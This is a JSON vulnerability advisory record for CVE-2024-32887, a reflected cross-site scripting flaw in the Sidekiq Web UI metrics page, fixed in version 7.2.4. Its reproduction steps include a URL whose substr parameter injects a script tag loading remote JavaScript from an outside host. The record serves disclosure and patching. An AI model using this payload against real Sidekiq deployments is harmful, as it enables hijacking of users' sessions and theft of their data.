{"id":"CVE-2024-32887","aliases":["GHSA-q655-3pj8-9fxq"],"url":"https://o3.security/vulnerability/CVE-2024-32887","summary":"Reflected XSS in sidekiq","details":"### Description:\nDuring the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. \n\nThis vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.\n\n### Impact:\nThe impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.\n\n### Mitigation:\nEncode all output data before rendering it in the response to prevent XSS attacks.\n\n### Steps to Reproduce:\n1. Go to the following URL of the sidekiq Web UI: \nhttps://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E\n2. XSS payload will be executed, causing a popup.\n\n### Evidence:\n\n![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c5949154827e)\nFigure 1: Source Code Vulnerable to XSS\n\n![image](https://github.com/sidekiq/sidekiq/assets/59286712/7a801feb-d495-416e-8e0e-36dee0eadf85)\nFigure 2: XSS payload triggered","published":"2024-04-26T21:02:42.462Z","modified":"2026-08-12T03:51:35.658395590Z","cvss":{"score":5.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"sidekiq","fixedVersion":"7.2.4"}],"fix":{"url":"https://github.com/sidekiq/sidekiq/commit/30786e082c70349ab27ffa9eccc42fb0c696164d","label":"sidekiq/sidekiq@30786e0"},"references":[{"type":"WEB","url":"https://github.com/sidekiq/sidekiq/releases/tag/v7.2.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32887.json"},{"type":"ADVISORY","url":"https://github.com/sidekiq/sidekiq/security/advisories/GHSA-q655-3pj8-9fxq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32887"},{"type":"FIX","url":"https://github.com/sidekiq/sidekiq/commit/30786e082c70349ab27ffa9eccc42fb0c696164d"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/sidekiq/CVE-2024-32887.yml"},{"type":"PACKAGE","url":"https://github.com/sidekiq/sidekiq"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.658395590Z"}}